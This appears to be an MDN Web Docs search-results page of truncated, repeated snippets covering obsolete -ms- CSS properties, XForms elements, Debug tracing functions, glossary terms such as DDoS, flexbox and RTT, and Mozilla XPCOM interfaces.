... div { width: 150px; height: 150px; overflow-y: scroll; border-style: solid; border-width: thin; font-family: sans-serif; float: left; margin-right: 10px; } .bluescrollbox { scrollbar-face-color: blue; scrollbar-arrow-color: blue; } .greenscrollb...
-ms-scrollbar-base-color - Archive of obsolete content
initial valuedepends on user agentapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the base color of the main elements of a scroll bar. ...
... div { width: 150px; height: 150px; border-style: solid; border-width: thin; overflow-y: scroll; font-family: sans-serif; float: left; margin-right: 10px; } .aquascroll { scrollbar-base-color: aqua; scrollbar-arrow-color: blue; border-color: blue; } .bisque...
... div { width: 150px; height: 150px; border-style: solid; border-width: thin; overflow-y: scroll; font-family: sans-serif; float: left; margin-right: 10px; } .aquascroll { scrollbar-base-color: aqua; scrollbar-arrow-color: blue; border-color: blue; } .bisquescroll { scrollbar-base-col...
-ms-scrollbar-darkshadow-color - Archive of obsolete content
initial valuethreeddarkshadowapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the scroll bar's gutter. ...
...l( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsl( <hue>, <percentage>, <percentage>, <alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? ...
...e>, <alpha-value>? ...
-ms-scrollbar-face-color - Archive of obsolete content
initial valuethreedfaceapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the scroll box and scroll arrows. ...
... div { width: 150px; height: 150px; overflow-y: scroll; border-style: solid; border-width: thin; font-family: sans-serif; float: left; margin-right: 10px; } .bluescrollbox { scrollbar-face-color: blue; scrollbar-arro...
... div { width: 150px; height: 150px; overflow-y: scroll; border-style: solid; border-width: thin; font-family: sans-serif; float: left; margin-right: 10px; } .bluescrollbox { scrollbar-face-color: blue; scrollbar-arrow-color: blue; } .greenscroll...
-ms-wrap-flow - Archive of obsolete content
initial valueautoapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values auto for floated elements, an exclusion is created; for all other elements, an exclusion is not created. both inline flow content can flow on all sides of the exclusion. start inline flow content can wrap on the start edge of the exclusion area but must leave empty the area after the end edge of the exclusion area. end inline flow content can wrap after the end edge of the exclusion area but must leave empty the area before the start edge of the exclusion area. ...
...sion with the largest available space for the given line, and must leave empty the other side of the exclusion. clear inline flow content can only wrap on top and bottom of the exclusion and must leave empty the areas to the start and end edges of the exclusion box. formal syntax auto | both | start | end | maximum | clear specifications not part of any specification. ...
...in that case, the element contributes its border box to its containing block's wrapping context and content flows around it according to the clear property. ...
::-ms-expand - Archive of obsolete content
the ::-ms-expand css pseudo-element is a microsoft extension that represents the button of a <select> menu control that opens or closes the drop-down menu. typically it is a triangle that points downward. allowable properties only the following css properties can be used in a rule with ::-ms-expand in its selector. other properties are ignored. ...
... the ::-ms-expand css pseudo-element is a microsoft extension that represents the button of a <select> menu control that opens or closes the drop-down menu. typically it is a triangle that points downward. allowable properties only the following css properties can be used in a rule with ::-ms-expand in its selector. other properties are ignored. ...
... ...
::-ms-thumb - Archive of obsolete content
other properties are ignored. ...
...other properties are ignored. ...
...r border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-thumb specifications not part of any specification. see also ::-ms-track ::-ms-fill-upper ::-ms-fill-lower ::-webkit-slider-thumb ::-mo...
::-ms-value - Archive of obsolete content
other properties are ignored. ...
...other properties are ignored. ...
...r border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-value example input::-ms-value { color: lime; font-style: italic; } to disable the default styling: select::-ms-value { background-colo...
Debug.msTraceAsyncCallbackStarting - Archive of obsolete content
the debug.mstraceasynccallbackstarting function associates the callback stack with a previously specified asynchronous operation. syntax debug.mstraceasynccallbackstarting(asyncoperationid) parameters asyncoperationid the id associated with the asynchronous operation. remarks call this function in the callback function for the asynchronous operation after the call to debug.mstraceasyncoperationcompleted. note: some debugging tools do not display the information sent to the debugger. asyncoperationid must correspond to the operation name previously returned from debug.mstraceasyncoperationstarting. example the following code provides an example of tracing an asynchronous call for a windows 8.x store app. ...
....mstraceasyncoperationcompleted. note: some debugging tools do not display the information sent to the debugger. asyncoperationid must correspond to the operation name previously returned from debug.mstraceasyncoperationstarting. example the following code provides an example of tracing an asynchronous call for a windows 8.x store app. function asyncwrapperfunction() { var opid = debug.mstraceasyncoperationstarting('async trace'); dosomethingasync().then(function (result) { debug.mstraceasyncoperationcompleted(opid, debug.ms_async_op_status_success); debug.mstraceasynccallbackstarting(opid); // process result of async operation. ...
...or a windows 8.x store app. function asyncwrapperfunction() { var opid = debug.mstraceasyncoperationstarting('async trace'); dosomethingasync().then(function (result) { debug.mstraceasyncoperationcompleted(opid, debug.ms_async_op_status_success); debug.mstraceasynccallbackstarting(opid); // process result of async operation. }, function (error) { debug.mstraceasyncoperationcompleted(opid, debug.ms_async_op_status_error); debug.mstraceasynccallbackstarting(opid); }); debug.mstraceasynccallbackcompleted(); } function dosomethingasync() { return winjs.promise.as(true); } asyncwrapperfunction(); requirements supported in the internet explorer 11 standards document mode. also supported in store apps (windows 8.1 and windows ph...
Debug.msTraceAsyncCallbackCompleted - Archive of obsolete content
the debug.mstraceasynccallbackcompleted function indicates that an asynchronous operation has completed. syntax debug.mstraceasynccallbackcompleted() parameters asyncoperationid the id associated with the asynchronous operation. status optional the status of the asynchronous operation. if not specified, debug.ms_async_op_status_success is used. remarks call this function when the asynchronous operation completes. asyncoperationid must correspond to the operation id previously returned from debug.mstraceasyncoperationstarting. the possible values for status include: debug.ms_async_op_status_success debug.ms_async_op_status_canceled debug.ms_async_op_status_error note: some debugging tools do not display the information sent to the debugger. exam...
...ible values for status include: debug.ms_async_op_status_success debug.ms_async_op_status_canceled debug.ms_async_op_status_error note: some debugging tools do not display the information sent to the debugger. example the following code provides an example of tracing an asynchronous call for a windows 8.x store app. function asyncwrapperfunction() { var opid = debug.mstraceasyncoperationstarting('async trace'); dosomethingasync().then(function (result) { debug.mstraceasyncoperationcompleted(opid, debug.ms_async_op_status_success); debug.mstraceasynccallbackstarting(opid); // process result of async operation. ...
...or a windows 8.x store app. function asyncwrapperfunction() { var opid = debug.mstraceasyncoperationstarting('async trace'); dosomethingasync().then(function (result) { debug.mstraceasyncoperationcompleted(opid, debug.ms_async_op_status_success); debug.mstraceasynccallbackstarting(opid); // process result of async operation. }, function (error) { debug.mstraceasyncoperationcompleted(opid, debug.ms_async_op_status_error); debug.mstraceasynccallbackstarting(opid); }); debug.mstraceasynccallbackcompleted(); } function dosomethingasync() { return winjs.promise.as(true); } asyncwrapperfunction(); requirements supported in the internet explorer 11 standards document mode. also supported in store apps (windows 8.1 and windows ph...
RFE to the XForms API - Archive of obsolete content
Archive › Web › XForms › RFE › XForms API
introduction this page contains requests for enhancement to the xforms api. the term xforms api can fall into two categories. these are xforms dom and xforms interfaces that are exposed by xforms dom. xforms dom is a list of interfaces that are available from xforms elements directly. this means those interfaces available to be queried from the xforms element that resides in the dom. for example, every visual xforms element exposes the nsixformsdelegate interface. if you need some additional functionality that shouldn't be exposed from the xforms element directly, then you should think which interface of the xforms element is more appropriate to expose it. mozilla xforms doens't offer any service you can get via xpcom. ...
...lement that resides in the dom. for example, every visual xforms element exposes the nsixformsdelegate interface. if you need some additional functionality that shouldn't be exposed from the xforms element directly, then you should think which interface of the xforms element is more appropriate to expose it. mozilla xforms doens't offer any service you can get via xpcom. as an example, the nsixformsaccessors interface which allows a user to get/set the value of an instance node and get the state of an instance node, is exposed by the nsixformsdelegate interface using the accessors property. xforms dom put here your requirements how to improve xforms dom api. reflect attributes to properties for the elements that can contain the incremental or selection attributes, it makes sense to exp...
... a user to get/set the value of an instance node and get the state of an instance node, is exposed by the nsixformsdelegate interface using the accessors property. xforms dom put here your requirements how to improve xforms dom api. reflect attributes to properties for the elements that can contain the incremental or selection attributes, it makes sense to expose analogous properties. xforms functional interfaces put here your requirements to improve existing xforms interfaces or to add a new one. ability to get nsixformsaccessors for instance node we need the ability to get to the nsixformsaccessors interface on a node by specifying the node via an xpath expression or by specifying the instance node directly (see bug 312956). ...
XForms Message Element - Archive of obsolete content
ent can be bound to any simple content. ...
... any simple content. ...
...sentations it may be represented in the following ways: modal window - if level attribute value is modal modeless window - if level attribute value is modeless tooltip window - if level attribute value is ephemeral note: message element doesn't define a default presentation. therefore you should always specify a level attribute. example <xforms:trigger> <xforms:label>it's a button</xforms:label> <xforms:message level="modal" ev:event="domactivate">hello</xforms:message> </xforms:trigger> ...
XForms Submit Element - Archive of obsolete content
introduction this form control initiates a submission. the result of which is all or part of an instance document being sent to a target destination, which could be local or remote (see the spec). upon receiving a domactivate event, this form control dispatches a xforms-submit event to the submission element (see the spec) specified in its submission attibute. attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control. accesskey - used to specify the keyboard shortcut for focusing this control. single-node binding special submission - required reference to element submission. type restrictions the submit element can be bound to a n...
...on - required reference to element submission. type restrictions the submit element can be bound to a node containing data of any type. actually, the submit element doesn't interact with the data in the bound node. however, the relevant model item property on the bound node has an effect on a submit. if the bound node is irrelevant, then the submit will be hidden. representations the xforms submit element can be represented by the following widgets for the specified appearance attribute values: button - default representation (xhtml/xul) link/clickable text - used when appearance = 'minimal' (xhtml only) button displaying a button is the default presentation (xhtml/xul). characteristics analogous widgets are <html:input type="submit"/> and <xul:button/> link/clickable text...
...characteristics appearance attribute contains the value minimal analogue widget is <html:a onclick="form.submit();"/>. ...
XForms Trigger Element - Archive of obsolete content
introduction allows the user to initiate actions (see the spec). actions are described by the xforms action module (see the spec). attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding type restrictions the trigger element can be bound to a node containing data of any type. actually, the trigger element doesn't interact with the data in the bound node. however, relevant model item property on the bound node has an effect on a trigger. ...
...ocusing this control single-node binding type restrictions the trigger element can be bound to a node containing data of any type. actually, the trigger element doesn't interact with the data in the bound node. however, relevant model item property on the bound node has an effect on a trigger. if the bound node is irrelevant, then the trigger will be hidden. representations the xforms trigger element can be represented by the following widgets for the specified appearance attribute values: button - default representation (xhtml/xul) link/clickable text - used when appearance = 'minimal' (xhtml only) button displaying a button is the default presentation (xhtml/xul). characteristics analogous widgets are <html:input type="button"/> and <xul:button/> link/clickable...
...characteristics appearance attribute contains the value minimal analogue widget is <xhtml:a/>. ...
Distributed Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
a distributed denial-of-service (ddos) is an attack in which many compromised systems are made to attack a single target, in order to swamp server resources and block legitimate users. normally many persons, using many bots, attack high-profile web servers like banks or credit-card payment gateways. ddos concerns computer networks and cpu resource management. in a typical ddos attack, the assailant begins by exploiting a vulnerability in one computer system and making it the ddos master. the attack master, also known as the botmaster, identifies and infects other vulnerable systems with malware. eventually, the assailant instructs the controlled machines to launch an attack against a specified target. there are two types of ddos attacks: a network-centric attack (which overloads ...
...ic (hence the name "denial of service"). the infected computers' owners normally don't know that their computers have been compromised, and they also suffer loss of service. a computer under an intruder's control is called a zombie or bot. a network of co-infected computers is known as a botnet or a zombie army. ...
...romised, and they also suffer loss of service. a computer under an intruder's control is called a zombie or bot. a network of co-infected computers is known as a botnet or a zombie army. both kaspersky labs and symantec have identified botnets -- not spam, viruses, or worms -- as the biggest threat to internet security. ...
Flex - MDN Web Docs Glossary: Definitions of Web-related terms
flex is a new value added to the css display property. along with inline-flex it causes the element that it applies to to become a flex container, and the element's children to each become a flex item. the items then participate in flex layout, and all of the properties defined in the css flexible box layout module may be applied. the flex property is a shorthand for the flexbox properties flex-grow, flex-shrink and flex-basis. in addition <flex> can refer to a flexible length in css grid layout. ...
... children to each become a flex item. the items then participate in flex layout, and all of the properties defined in the css flexible box layout module may be applied. the flex property is a shorthand for the flexbox properties flex-grow, flex-shrink and flex-basis. in addition <flex> can refer to a flexible length in css grid layout. ...
... learn more property reference align-content align-items align-self flex flex-basis flex-direction flex-flow flex-grow flex-shrink flex-wrap justify-content order further reading css flexible box layout module level 1 specification css flexbox guide: basic concepts of flexbox css flexbox guide: relationship of flexbox to other layout methods css flexbox guide: aligning items in a flex container css flexbox guide: ordering flex items css flexbox guide: controlling ratios of flex items along the main axis css flexbox guide: mastering wrapping of flex items css flexbox guide: typical use cases of flexbox ...
Flex Item - MDN Web Docs Glossary: Definitions of Web-related terms
the direct children of a flex container (elements with display: flex or display: inline-flex set on them) become flex items. continuous runs of text inside flex containers will also become flex items. ...
... the direct children of a flex container (elements with display: flex or display: inline-flex set on them) become flex items. continuous runs of text inside flex containers will also become flex items. ...
... with display: flex or display: inline-flex set on them) become flex items. continuous runs of text inside flex containers will also become flex items. ...
Flexbox - MDN Web Docs Glossary: Definitions of Web-related terms
flexbox is the commonly-used name for the css flexible box layout module, a layout model for displaying items in a single dimension — as a row or as a column. in the specification, flexbox is described as a layout model for user interface design. the key feature of flexbox is the fact that items in a flex layout can grow and shrink. space can be assigned to the items themselves, or distributed between or around the items. flexbox also enables alignment of items on the main or cross axis, thus providing a high level of control over the size and alignment of a group of items. ...
...ign. the key feature of flexbox is the fact that items in a flex layout can grow and shrink. space can be assigned to the items themselves, or distributed between or around the items. flexbox also enables alignment of items on the main or cross axis, thus providing a high level of control over the size and alignment of a group of items. ...
... learn more property reference align-content align-items align-self flex flex-basis flex-direction flex-flow flex-grow flex-shrink flex-wrap justify-content order further reading css flexible box layout module level 1 specification css flexbox guide: basic concepts of flexbox css flexbox guide: relationship of flexbox to other layout methods css flexbox guide: aligning items in a flex container css flexbox guide: ordering flex items css flexbox guide: controlling ratios of flex items along the main axis css flexbox guide: mastering wrapping of flex items css flexbox guide: typical use cases of flexbox ...
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
ement some of this functionality using mvc. the model the model defines what data the app should contain. if the state of this data changes, then the model will usually notify the view (so the display can change as needed) and sometimes the controller (if different logic is needed to control the updated view). going back to our shopping list app, the model would specify what data the list items should contain — item, price, etc. — and what list items are already present. the view the view defines how the app's data should be displayed. in our shopping list app, the view would define how the list is presented to the user, and receive the data to display from the model. the controller the controller contains logic that updates the model and/or view in response to input from the u...
...y present. the view the view defines how the app's data should be displayed. in our shopping list app, the view would define how the list is presented to the user, and receive the data to display from the model. the controller the controller contains logic that updates the model and/or view in response to input from the users of the app. so for example, our shopping list could have input forms and buttons that allow us to add or delete items. these actions require the model to be updated, so the input is sent to the controller, which then manipulates the model as appropriate, which then sends updated data to the view. you might however also want to just update the view to display the data in a different format, e.g., change the item order to alphabetical, or lowest to highest price. i...
... as indexeddb [en-us].) your app's controlling code is probably written in html/javascript, and your user interface is probably written using html/css/whatever else you like. this sounds very much like mvc, but mvc makes these components follow a more rigid pattern. in the early days of the web, mvc architecture was mostly implemented on the server-side, with the client requesting updates via forms or links, and receiving updated views back to display in the browser. however, these days, more of the logic is pushed to the client with the advent of client-side data stores, and xmlhttprequest allowing partial page updates as required. web frameworks such as angularjs and ember.js all implement an mvc architecture, albeit in slightly different ways. learn more general knowledge model–v...
Public-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
secret while the other is made public. when used for digital signatures, the private key is used to sign and the public key to verify. this means that anyone can verify a signature, but only the owner of the corresponding private key could have generated it. when used for encryption, the public key is used to encrypt and the private key is used to decrypt. ...
...sed for digital signatures, the private key is used to sign and the public key to verify. this means that anyone can verify a signature, but only the owner of the corresponding private key could have generated it. when used for encryption, the public key is used to encrypt and the private key is used to decrypt. this gives public-key encryption systems an advantage over symmetric encryption systems in that the encryption key can be made public. anyone could encrypt a message to the owner of the private key, but only the owner of the private key could decrypt it. however, they are typically much slower than symmetric algorithms and the size of message they can encrypt is proportional to the size of the key, so they do not scale well for long messages. as a result, it's common for an encrypt...
...er, they are typically much slower than symmetric algorithms and the size of message they can encrypt is proportional to the size of the key, so they do not scale well for long messages. as a result, it's common for an encryption system to use a symmetric algorithm to encrypt the message, then a public-key system to encrypt the symmetric key. this arrangement can confer the benefits of both systems. commonly used public-key cryptosystems are rsa (for both signing and encryption), dsa (for signing) and diffie-hellman (for key agreement). ...
Round Trip Time (RTT) - MDN Web Docs Glossary: Definitions of Web-related terms
nd trip time (rtt) is the length time it takes for a data packet to be sent to a destination plus the time it takes for an acknowledgment of that packet to be received back at the origin. the rtt between a network and server can be determined by using the ping command. ...
...t to be sent to a destination plus the time it takes for an acknowledgment of that packet to be received back at the origin. the rtt between a network and server can be determined by using the ping command. ...
...nowledgment of that packet to be received back at the origin. the rtt between a network and server can be determined by using the ping command. $ ping example.com ping example.com (216.58.194.174): 56 data bytes 64 bytes from 216.58.194.174: icmp_seq=0 ttl=55 time=25.050 ms 64 bytes from 216.58.194.174: icmp_seq=1 ttl=55 time=23.781 ms 64 bytes from 216.58.194.174: icmp_seq=2 ttl=55 time=24.287 ms 64 bytes from 216.58.194.174: icmp_seq=3 ttl=55 time=34.904 ms 64 bytes from 216.58.194.174: icmp_seq=4 ttl=55 time=26.119 ms --- google.com ping statistics --- 5 packets transmitted, 5 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 23.781/26.828/34.904/4.114 ms in the above example, the average round trip time is shown on the final line as 26.8ms. see also time to first...
Vendor Prefix - MDN Web Docs Glossary: Definitions of Web-related terms
res behind user-controlled flags or preferences, and to create smaller specifications which can reach a stable state much more quickly. css prefixes the major browsers use the following prefixes: -webkit- (chrome, safari, newer versions of opera, almost all ios browsers including firefox for ios; basically, any webkit based browser) -moz- (firefox) -o- (old pre-webkit versions of opera) -ms- (internet explorer and microsoft edge) sample usage: -webkit-transition: all 4s ease; -moz-transition: all 4s ease; -ms-transition: all 4s ease; -o-transition: all 4s ease; transition: all 4s ease; api prefixes historically, vendors have also used prefixes for experimental apis. if an entire interface is experimental, then the interface's name is prefixed (but not the properties or methods...
...in). if an experimental property or method is added to a standardized interface, then the individual method or property is prefixed. ...
...ased browser) moz (firefox) o (older, pre-webkit, versions of opera) ms (internet explorer and microsoft edge) property and method prefixes the prefixes for properties and methods are lower-case: webkit (chrome, safari, newer versions of opera, almost all ios browsers (including firefox for ios); basically, any webkit based browser) moz (firefox) o (old, pre-webkit, versions of opera) ms (internet explorer and microsoft edge) sample usage: var requestanimationframe = window.requestanimationframe || window.mozrequestanimationframe || window.webkitrequestanimationframe || window.orequestanimationframe || window.msrequestanimationframe; learn more general knowledge ...
MDN Web Docs Glossary: Definitions of Web-related terms
web technologies contain long lists of jargon and abbreviations that are used in documentation and coding. this glossary provides definitions of words and abbreviations you need to know to successfully understand and build for the web. ...
...er canvas card sorting carddav caret cdn certificate authority certified challenge-response authentication character character encoding character set chrome cia cipher cipher suite ciphertext class client hints closure cms code splitting codec compile compile time computer programming conditional constant constructor continuous media control flow cookie copyleft cors cors-safelisted request header cors-safelisted response header crawler crlf cross axis ...
... w3c wai wcag web performance web server web standards webassembly webdav webextensions webgl webidl webkit webm webp webrtc websockets webvtt whatwg whitespace world wide web wrapper x xforms xhr (xmlhttprequest) xhtml xinclude xlink xml xpath xquery xslt other 404 502 alpn at-rule attack byte-order mark character set client cryptosystem debug digital signature execution flex...
Sending forms through JavaScript - Learn web development
let's first talk about why this requires a different approach. gaining control of the global interface standard html form submission, as described in the previous article, loads the url where the data was sent, which means the browser window navigates with a full page load. ...
...let's first talk about why this requires a different approach. gaining control of the global interface standard html form submission, as described in the previous article, loads the url where the data was sent, which means the browser window navigates with a full page load. ...
... a different approach. gaining control of the global interface standard html form submission, as described in the previous article, loads the url where the data was sent, which means the browser window navigates with a full page load. avoiding a full page load can provide a smoother experience by avoiding network lag, and possible visual issues like flickering. many modern uis only use html forms to collect input from the user, and not for data submission. when the user tries to send the data, the application takes control and transmits the data asynchronously in the background, updating only the parts of the ui that require changes. sending arbitrary data asynchronously is generally called ajax, which stands for "asynchronous javascript and xml". how is it different? the xmlhttpreques...
Define terms with HTML - Learn web development
org">mozilla.org</a> </p> assistive technology can often use this attribute to find a text alternative to a given term. you can use aria-describedby on any tag enclosing a keyword to be defined (not just the <dfn> element). aria-describedby references the id of the element containing the description. how to build a description list description lists are just what they claim to be: a list of terms and their matching descriptions (e.g., definition lists, dictionary entries, faqs, and key-value pairs). description lists are not suitable for marking up dialogue, because conversation does not directly describe the speakers. here are recommendations for marking up dialogue. the terms described go inside <dt> elements. the matching description follows immediately, contained within one or mor...
...if two or more descriptions occur in a row, they all apply to the last given term. improving the visual output here's how a graphical browser displays the foregoing list: if you want the keywords to stand out better, you could try bolding them. remember, html is not a visual medium...
...sausage, seafood, and spices </dd> <dt>sukiyaki</dt> <dd> japanese specialty consisting of thinly sliced meat, vegetables, and noodles, cooked in sake and soy sauce </dd> <dt>chianti</dt> <dd> dry italian red wine originating in tuscany </dd> </dl> the basic pattern, as you can see, is to alternate <dt> terms with <dd> descriptions. if two or more terms occur in a row, the following description applies to all of them. if two or more descriptions occur in a row, they all apply to the last given term. improving the visual output here's how a graphical browser displays the foregoing list: if you want the keywords to stand out better, you could try bolding them. remember, html is not a visual medium; we need css for all visual effects. the css...
Solve common problems in your JavaScript code - Learn web development
the following links point to solutions to common problems you may encounter when writing javascript. common beginner's mistakes correct spelling and casing if your code doesn't work and/or the browser complains that something is undefined, check that you've spelt all your variable names, function names, etc. correctly. some common built-in browser functions that cause problems are: correct wrong getelementsbytagname() getelementbytagname() getelementsbyname() getelementbyname() getelementsbyclassname() getelementbyclassname() getelementbyid() getelementsbyid() semi-colon position you need to make sure you don't place any semi-colons incorrectly. for example: correct wrong elem.style.color = 'r...
...r? can you join strings and numbers together? how do you find the length of a string? how do you find what character is at a certain position in a string? how do you find and extract a specific substring from a string? how do you change the case of a string? how do you replace one specific substring with another? arrays how do you create an array? how do you access and modify the items in an array? (this includes multidimensional arrays) how do you find the length of an array? how do you add and remove array items? how do you split a string into array items, or join array items into a string? debugging javascript what are the basic types of error? what are browser developer tools, and how do you access them? how do you log a value to the javascript console? how do yo...
...also, see other common errors for a description of common errors. ...
JS::NewFunctionFromSpec
create a new function based on the given jsfunctionspec. syntax jsfunction* js::newfunctionfromspec(jscontext* cx, const jsfunctionspec* fs, handleid id); name type description cx jscontext * the context in which to define functions. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. fs const jsfunctionspec * a pointer to function specification. behavior handleid the result of a successful call to propertyspecnametopermanentid(cx, fs->name, &id). description js::newfunctionfromspec creates a new function based on the given jsfunctionspec, *fs. id is the result of a successful call to propertyspecnametopermanentid(cx, fs->name, &id). unlike js_definefunctions, this does not...
...sult of a successful call to propertyspecnametopermanentid(cx, fs->name, &id). description js::newfunctionfromspec creates a new function based on the given jsfunctionspec, *fs. id is the result of a successful call to propertyspecnametopermanentid(cx, fs->name, &id). unlike js_definefunctions, this does not treat fs as an array. *fs must not be js_fs_end. on success, js::newfunctionfromspec returns a pointer to newly created function. on error, it returns nullptr. ...
... a new function based on the given jsfunctionspec, *fs. id is the result of a successful call to propertyspecnametopermanentid(cx, fs->name, &id). ...
JS_NewDateObjectMsec
this article covers features introduced in spidermonkey 1.8.5 creates a new date object instance, configured to represent the date and time indicated by the specified time in milliseconds since the unix epoch. syntax jsobject * js_newdateobjectmsec(jscontext *cx, double msec); name type description cx jscontext * the context. requires request. ...
...eates a new date object instance, configured to represent the date and time indicated by the specified time in milliseconds since the unix epoch. syntax jsobject * js_newdateobjectmsec(jscontext *cx, double msec); name type description cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. msec double time since unix epoch in milliseconds. ...
...teobjectmsec(jscontext *cx, double msec); name type description cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. msec double time since unix epoch in milliseconds. description the returned jsobject is a standard javascript date. ...
mozIStorageBindingParamsArray
the mozistoragebindingparamsarray interface is a container for mozistoragebindingparams objects, and is used to store sets of bound parameters that will be used by the mozistoragestatement.executeasync(). storage/public/mozistoragebindingparamsarray.idlscriptable please add a summary to this article. last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports you can only create these objects by calling the mozistoragestatement.newbindingparamsarray(). ...
...will be used by the mozistoragestatement.executeasync(). storage/public/mozistoragebindingparamsarray.idlscriptable please add a summary to this article. last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports you can only create these objects by calling the mozistoragestatement.newbindingparamsarray(). method overview void addparams(in mozistoragebindingparams aparameters); mozistoragebindingparams newbindingparams(); attributes attribute type description length unsigned long the number of mozistoragebindingparams objects in the array. methods addparams() adds the specified set of parameters to the end of the array. the appended parameters will be used when mozistorag...
... mozistoragebindingparams newbindingparams(); attributes attribute type description length unsigned long the number of mozistoragebindingparams objects in the array. methods addparams() adds the specified set of parameters to the end of the array. the appended parameters will be used when mozistoragestatement.executeasync() is called. void addparams( in mozistoragebindingparams aparameters ); parameters aparameters the mozistoragebindingparams object containing the parameters to append to the array. newbindingparams() creates and returns a new, empty, mozistoragebindingparams object to which you can add parameters and their values for binding. mozistoragebindingparams newbindingparams(); parameters none. ...
nsIDOMSerializer
content/base/public/nsidomserializer.idlscriptable this interface is really a placeholder till the w3c dom working group defines a mechanism for serializing dom nodes. an instance of this interface can be used to serialize a dom document or any dom subtree. inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/xmlextras/xmlserializer;1. ...
...base/public/nsidomserializer.idlscriptable this interface is really a placeholder till the w3c dom working group defines a mechanism for serializing dom nodes. an instance of this interface can be used to serialize a dom document or any dom subtree. inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/xmlextras/xmlserializer;1. ...
... serializing dom nodes. an instance of this interface can be used to serialize a dom document or any dom subtree. inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/xmlextras/xmlserializer;1. to create an instance, use: var domserializer = components.classes["@mozilla.org/xmlextras/xmlserializer;1"] .createinstance(components.interfaces.nsidomserializer); method overview void serializetostream(in nsidomnode root, in nsioutputstream stream, in autf8string charset); astring serializetostring(in nsidomnode root); methods serializetostream() the subtree rooted by the specified element is serialized to a byte stream using the character set specified. void serializetostream( in nsidomnode root, in nsioutputstream stream, in aut...
nsIMsgAccount
nsimsgaccount mailnews/base/public/nsimsgaccount.idlscriptable an account consists of an incoming server and one or more outgoing identities. inherits from: nsisupports last changed in gecko 1.7 method overview void addidentity(in nsimsgidentity identity); void clearallvalues(); void init(); void removeidentity(in nsimsgidentity identity); astring tostring(); attributes attribute type description defaultidentity nsimsgidentity identities nsisupportsarray read only. outgoing identity list (array of nsimsgidentity's) incomingserver nsimsgincomingserver incoming server stuff key acstring internal key identifying itself methods addidentity() adds a new identity to this account. ...
... clearallvalues() clear all user preferences associated with an account. void clearallvalues(); parameters none. init() initializes an account. void init(); parameters none. ...
...tity identity ); parameters identity the identity to add. clearallvalues() clear all user preferences associated with an account. void clearallvalues(); parameters none. init() initializes an account. void init(); parameters none. exceptions thrown ns_error_already_opened if it is called more then once removeidentity() removes an identity from this account. void removeidentity( in nsimsgidentity identity ); parameters identity the identity to remove. ...
nsIMsgHeaderParser
nsimsgheaderparser defined in comm-central/ mailnews/ mime/ public/ nsimsgheaderparser.idl mailnews/mime/public/nsimsgheaderparser.idlscriptable ??? add brief description of interface ??? ...
... nsimsgheaderparser defined in comm-central/ mailnews/ mime/ public/ nsimsgheaderparser.idl mailnews/mime/public/nsimsgheaderparser.idlscriptable ??? add brief description of interface ??? ...
...ntral/ mailnews/ mime/ public/ nsimsgheaderparser.idl mailnews/mime/public/nsimsgheaderparser.idlscriptable ??? add brief description of interface ??? ...
nsIMsgProtocolInfo
inherits from: nsisupports implemented by: @mozilla.org/messenger/protocol/info;1?type=acct, where acct is the account type that are you are interested in. method overview long getdefaultserverport(in boolean issecure); attributes attribute type description candelete boolean true if an account of this type may be deleted. read only. canduplicate boolean unused. read only. cangetincomingmessages boolean true if junk ui actions should be enabled for the account type. read only. cangetmessages boolean true if "get messages" ui actions should be enabled for the account type. read only. ...
...tored. folderscreateasync boolean new in thunderbird 24 (bug 832034) preflightprettynamewithemailaddress boolean unused. read only. requiresusername boolean true if the server requires a username to log on. read only. serveriid nsiidptr the iid of the server-specific interface, used during account creation. read only. showcomposemsglink boolean true if compose ui actions should be enabled for the account type. read only. specialfoldersdeletionallowed boolean true if the user can delete folders like inbox, trash, etc. read only. methods getdefaultserverport() returns the default port for a connection to a server of this account type. long getdefaultserverport( in boolean issecure ); paramet...
...aultserverport() returns the default port for a connection to a server of this account type. long getdefaultserverport( in boolean issecure ); parameters issecure whether or not the connection will be secure. return value the default port number for connections of this account type. remarks this is one of the interfaces that is required to create a new account type. see also nsimsgincomingserver ...
nsIMsgRuleAction
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilter.idl [scriptable, uuid(190a2a18-d245-473a-a402-9f0814598c7f)] interface nsimsgruleaction : nsisupports { attribute nsmsgruleactiontype type; // target priority.. throws an exception if the action is not priority attribute nsmsgpriorityvalue priority; // target folder.. throws an exception if the action is not move to folder attribute acstring targetfolderuri; // target label. ...
